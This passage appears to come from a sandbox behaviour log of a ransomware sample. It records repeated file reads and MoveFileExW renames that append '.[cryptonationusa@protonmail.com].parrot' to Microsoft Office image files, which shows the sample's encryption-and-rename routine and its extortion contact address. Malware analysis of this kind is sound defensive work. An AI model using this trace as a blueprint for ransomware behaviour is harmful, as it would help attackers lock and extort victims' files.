lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd4a3, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd4a3, lpOverlapped=0x0) returned 1 [0176.996] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.997] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir37f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR37F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir37f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.002] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.002] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.003] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.004] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb819, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb819, lpOverlapped=0x0) returned 1 [0177.005] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.006] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir38f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir38f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.011] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.011] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.013] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.014] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaf65, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xaf65, lpOverlapped=0x0) returned 1 [0177.015] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.016] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir39f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR39F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir39f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.021] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.021] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.023] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.023] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2eda, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2eda, lpOverlapped=0x0) returned 1 [0177.024] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.024] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir3b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir3b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.029] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.029] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.031] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.031] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4647, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4647, lpOverlapped=0x0) returned 1 [0177.033] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.033] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir3f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR3F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir3f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.038] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.038] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.040] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.040] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10f19, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x10f19, lpOverlapped=0x0) returned 1 [0177.043] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.044] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir40f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR40F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir40f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.049] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.049] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.051] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.051] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7d5b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7d5b, lpOverlapped=0x0) returned 1 [0177.054] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.056] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir41f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR41F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir41f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.102] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.102] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.104] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.104] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdf73, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xdf73, lpOverlapped=0x0) returned 1 [0177.106] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.107] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir42f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR42F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir42f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.113] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.113] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.114] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.115] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd2c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd2c, lpOverlapped=0x0) returned 1 [0177.115] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.115] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir43b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir43b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.122] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.122] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.124] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.124] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa5e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xa5e, lpOverlapped=0x0) returned 1 [0177.124] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.125] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir43f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir43f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.130] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.130] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.134] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.135] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3606, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3606, lpOverlapped=0x0) returned 1 [0177.136] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.136] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir44b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir44b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.143] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.143] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.145] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.145] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3026, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3026, lpOverlapped=0x0) returned 1 [0177.146] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.146] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir44f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR44F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir44f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.151] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.151] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.153] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.153] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2019, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2019, lpOverlapped=0x0) returned 1 [0177.154] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.155] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir45b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir45b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.160] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.160] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.161] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.161] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ee9, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1ee9, lpOverlapped=0x0) returned 1 [0177.162] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.163] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir45f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR45F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir45f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.168] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.168] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.170] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.170] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1349, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1349, lpOverlapped=0x0) returned 1 [0177.171] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.171] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir46b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir46b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.177] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.177] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.178] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.178] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1377, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1377, lpOverlapped=0x0) returned 1 [0177.179] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.179] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir46f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir46f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.187] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.187] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.189] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.189] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x80d9, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x80d9, lpOverlapped=0x0) returned 1 [0177.190] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.191] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir47b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir47b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.197] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0177.197] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0177.198] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.198] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3ae8, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3ae8, lpOverlapped=0x0) returned 1 [0177.199] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.199] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir47f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir47f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0177.204] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 